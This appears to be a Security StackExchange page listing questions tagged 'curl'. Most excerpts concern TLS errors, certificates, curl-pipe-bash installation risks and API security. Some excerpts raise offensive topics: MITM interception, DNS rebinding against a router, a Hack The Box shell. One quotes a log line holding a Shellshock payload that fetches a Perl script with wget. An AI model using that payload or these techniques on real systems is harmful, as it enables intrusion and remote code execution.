Questions tagged [curl]

An open source command line utility for transferring data using URL syntax with support for many protocols including FTP, HTTP, HTTPS, various mail protocols (including IMAP, POP3, and SMTP) and others

Filter by
Sorted by
Tagged with
0
votes
1answer
215 views

What is the meaning of this TLS output: TLSv1.2 (OUT), TLS alert, Client hello (1)

I'm downloading a small sample tar file using curl and outputting verbose log to see the details: curl -v -H 'Connection: close' https://ftp.gnu.org/gnu/gcc/gcc-2.95.1/gcc-objc-2.95.1.tar.gz > /...
47
votes
6answers
6k views

Is `curl {something} | sudo bash -` a reasonably safe installation method?

The most straightforward way to install NodeJS on Ubuntu or Debian seems to be Nodesource, whose installation instructions say to run: curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash - ...
0
votes
1answer
112 views

How to securely host downloadable source code

As a follow up to The most secure way to allow downloading and installing an app on Mac, Windows, or Linux, I am wondering how one (such as I) may go about creating a new framework for hosting ...
0
votes
1answer
310 views

Unable to intercept android app traffic neither in Burp Suite nor in Network Profiler. Can anyone help?

I need to perform MITM attack on an app which doesn't use HttpURLConnection and OkHttp libraries for network connection. Analysis : Configured burp on the devices, able to capture request of Chrome ...
0
votes
0answers
72 views

How can I perform DNS rebinding using evil twin at the local level?

How can I perform DNS rebinding using evil twin at the local level? I want to perform a DNS-Rebinding-Attack using an evil twin on local level. The curl command to login into the router curl "http:...
35
votes
3answers
6k views

Is it insecure to send a password in a `curl` command?

Here’s an example request we can make to the GitHub API: curl 'https://api.github.com/authorizations' --user "USERNAME" This will prompt for the account password, to continue: Enter host password ...
0
votes
2answers
233 views

Will it be a crime if I post data into someone's website using cURL? [closed]

I found a website which is not secure and tried to post a form on that site using cURL request in PHP and it worked successfully. However, that is a simple site with contact form and no special or ...
3
votes
1answer
108 views

Can cURL block a rogue CA?

I know which Certificate Authority (CA) my server uses for its TLS certs. My client system also knows who the CA is. When I use cURL, I can specify --cacert to specify a custom CA file to use, but ...
1
vote
1answer
717 views

Certificate works in Chrome + Firefox but not with curl (“unable to get local issuer certificate”) with the recent cacert.pem

I am trying to connect to a site behind a firewall, that is why I cannot share the URL for verification. $ curl -vvvv https://example.com:8080/foo/ba/?wsdl --cacert /tmp/cacert-2018-12-05.pem * ...
0
votes
1answer
4k views

ssl handshake failure unable to get local issuer certificate

I have an issue with new integration that I am working on it. I should consume a web service provided by external company and this service is over https, so in order to integrate with them, they have ...
0
votes
3answers
3k views

Leveraging curl to spawn a shell

So I'm doing a HTB challenge where I have leveraged the targets box use of reading a file that sets a url for curl in order to transverse down the directory and display the root flag in a report that ...
2
votes
2answers
4k views

Is it possible to execute a local file or code from cURL?

I wonder if it is possible to execute bash code or a local file from cURL, that is, using the following syntax: curl "local file" I was looking for possible solutions and found that to read the ...
0
votes
1answer
338 views

Secure file encryption with OpenSSL and a little trick?

I try to really securely encrypt a file with OpenSSL. I´m new to OpenSSL and just read here, that it´s not very secure due to it´s behavior in generating salt & IV, and storing it within the ...
0
votes
1answer
82 views

How curl provided source code that the browser did not?

I was playing a CTF and got stuck. When seeing the source code through web browser reveals nothing but when we send the request through curl it reveals out HIDDEN directory. How is it even possible? ...
2
votes
2answers
92 views

Network provider blocking URL, even though connection made to IP

I came across an interesting case today, which with my limited knowledge I'm unable to understand the working of. I was trying to access a bit.ly link, but it is blocked by my University. Knowing ...
0
votes
1answer
106 views

Extra secure layer to cURL calls

I'm trying to figure out how to add an extra security layer to my WebApp cURL calls going to my API Engine. I have a WebApp that sends data to an API engine I made. My API will have access to the ...
-1
votes
1answer
155 views

Unable to utilise curl commands on website [closed]

There is a free online SMS service called globfone which allows you to send free text messages via their website. However, I'm looking to integrate this functionality into a script through curl. But ...
0
votes
3answers
2k views

Is there any security threat of using 'curl https://ipinfo.io/ip' to find our IP?

I need to find out the public-ip of an EC2 instance. I was trying this command: curl https://ipinfo.io/ip Is there any security threat of using that method? Like exposing our IP or something?
2
votes
1answer
100 views

Is my application affected by curl vulnerabilities if using HTTPS with a single server?

To this day two vulnerabilities are known in curl 7.57.0. Both are related to HTTP: HTTP authentication leak in redirects HTTP/2 trailer out-of-bounds read My application uses this version of curl ...
0
votes
1answer
559 views

TLS header in content portion of HTTPS POST request hot handled well

We are trying to communicate from an embedded application to a device via HTTPS protocol. We are having difficulty doing so from the embedded application but can do so successfully from say Windows ...
2
votes
1answer
355 views

Do browsers and tools send `SNI` field by default connecting to https endpoints?

I am setting up HaProxy for https in passthrough (tcp) mode without SSL/TLS termination. I want to be able to route traffic to different backends based on hostname requested by a client. From HaProxy ...
0
votes
0answers
60 views

Resources explaining why `curl | bash` and similar installation instructions are a security hazard?

I'm getting tired of explaining to people why downloading some arbitrary text file (script) from the internet with curl or wget or whatever and executing it with bash or some other script interpreter ...
1
vote
2answers
876 views

CURLOPT_SSL_VERIFYPEER and potential security issues

In PHP/curl I coded a simple login to a WordPress-based website to login to WP from a mobile client (an iOS app). The website supports https, it is hosted in a shared hosting environment and the ...
70
votes
1answer
10k views

Why is there no certificate error while visiting google.net although it presents a certificate issued to google.com?

The following output shows that google.net is presenting a certificate that has been issued to www.google.com. $ openssl s_client -connect google.net:443 < /dev/null > out.txt 2>&1; cat ...
4
votes
1answer
1k views

Can the real IP address leak using curl via Tor?

Having seen Tor via Python - can the real IP address leak? I am no longer sure whether or not using curl -L --insecure -C - --socks5 localhost:9150 -H "User-Agent: " check.torproject.org is as ...
1
vote
1answer
248 views

Is it possible to exploit a server using an C library with a vulnerability?

A server has an old libcurl with the vulnerability CVE-2013-2174. As the documentation says: it unlikely that programs allow user-provided strings unfiltered into this function. My question is: ...
1
vote
2answers
2k views

Are there risks to allowing cURL from my machine?

I currently have several update scripts that I run periodically, which use curl to pull and install updates from various places. In my current configuration however, I have curl blocked by my firewall,...
8
votes
1answer
684 views

Shellshock Exploit evidence - is this a successful attack

I was looking through logs today and noticed the following: 62.219.116.107 - - [26/Dec/2016:15:16:08 -0100] "GET / HTTP/1.0" 200 13501 "-" "() { :;}; /bin/bash -c \"wget http://[redacted]/bo.pl -O /...
1
vote
1answer
2k views

Unable to use PUT method on server seemingly allowing PUT [closed]

I've just scanned a target and noticed that HTTP PUT is allowed. So, just to verify I used nmap: # nmap --script http-methods <IP> Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-11 ...
5
votes
1answer
8k views

Make server return “Unable to split netmask from target expression”

I'm interested in making my website a lot more secure and, while playing about scanning other websites, I found that one website responds to nmap traceroute, curl and wget console commands in such a ...
0
votes
2answers
7k views

Is it possible to send a cURL request with SSL without the private key?

I am developing a service for a client that based on their requirements needs to have client certificate based authentication. They sent me 2 files, one is the certificate they will send in the ...
4
votes
2answers
857 views

Is there any effective server-side prevention technique against PHP-aided CSRF?

I'm gonna start by saying it: I'm merely a cybersecurity enthusiast, not an expert. Thus, I'm gonna state what I think I know so far, please feel free to correct me at any time. Through my readings, ...
44
votes
6answers
13k views

How do I safely inspect a potentially malicious website?

Sometimes I'm interested in what's behind a malicious website. How do I stay on the safe side if I decide to inspect? I'm searching for methods that are quicker and more simple than running the ...
1
vote
1answer
200 views

Secure HTTPS connection between arduino yun and apache server - self signed certificate

I want to secure the connection between my arduino yun and my apache server. Right now I am using a simple get request in order to send information to the server. I thought to improve security by ...
2
votes
5answers
746 views

Can a curl request to an arbitrary url made sufficiently safe?

This is a follow up of another topic (Is allowing unfiltered curl request from a website a vulnerability?) on which I am doing some private research. Given: A publicly reachable webservice that ...
0
votes
1answer
2k views

Is it possible to create a pem file server certificate from the result of openssl s_client -showcerts?

I know it is possible to list server certificates from a client via openssl s_client -showcerts. So, my question is, is it possible to create a valid ssl server certificate from this without needing ...
2
votes
1answer
11k views

Which SSL/TLS protocol will use by cURL if not defined?

When curl to an HTTPS URL and not not defined the SSL version option, which level of SSL/TLS will be used? From the cURL documentation it says CURL_SSLVERSION_DEFAULT will use as default. ...
14
votes
2answers
6k views

Is allowing unfiltered curl request from a website a vulnerability?

Recently I was on a website which provided some non-sense feature: Enter a URL Press enter HTML source of a given URL is displayed It basically fetched a URL and just dumped the contents of it. It ...
4
votes
2answers
4k views

Is it safe to use .netrc files to store credentials for tools like curl or ftp?

The .netrc file can contain username and password credentials for various sites, to allow simpler invocation of tools. For example curl with the -n option will read credentials from the file, for the ...
2
votes
1answer
711 views

Is it safe to ask users to curl a raw file from GitHub?

I have a command line tool (ngi) I made, and currently the process of installation requires 2 steps. First step is to clone the repo into usr/local/ngi. Second step is to manually set the $PATH in ~/...
-3
votes
1answer
376 views

PHP get_file_contents & curl [closed]

These two are the functions can capture remote address, for example this is a social network site example.com/user?privacyemail.php, this site is containing email of user or some kind of private info, ...
0
votes
2answers
2k views

Self-signed certificates and internal cURL requests

I'm using an internal API for some commercial software we purchased and it recommends using SSL when utilizing the API; it uses cURL to achieve this and hence the user, pass and key will all be passed ...
0
votes
1answer
2k views

POST request in curl return all the source code of the page

I am trying to exploit the mutillidae web-application and I found a page vulnerable to sql injection but with a blacklist check embedded into the HTML code. I've tried to bypass this by forging a POST ...
3
votes
1answer
1k views

Preventing spoofing of remote server with PHP & cURL

I'm writing a PHP script that is requesting confidential data from a remote server. I'm using cURL to get the remote server's certificate information (for its output, please see below). Which array ...
3
votes
1answer
2k views

Mod_security for Apache2 blocks cURL!

I'm trying to get my users lat. and lng. from their address using Google's geocoding API but when mod:security is enabled, it prevents it and the script times out. How can I add an exception by IP or ...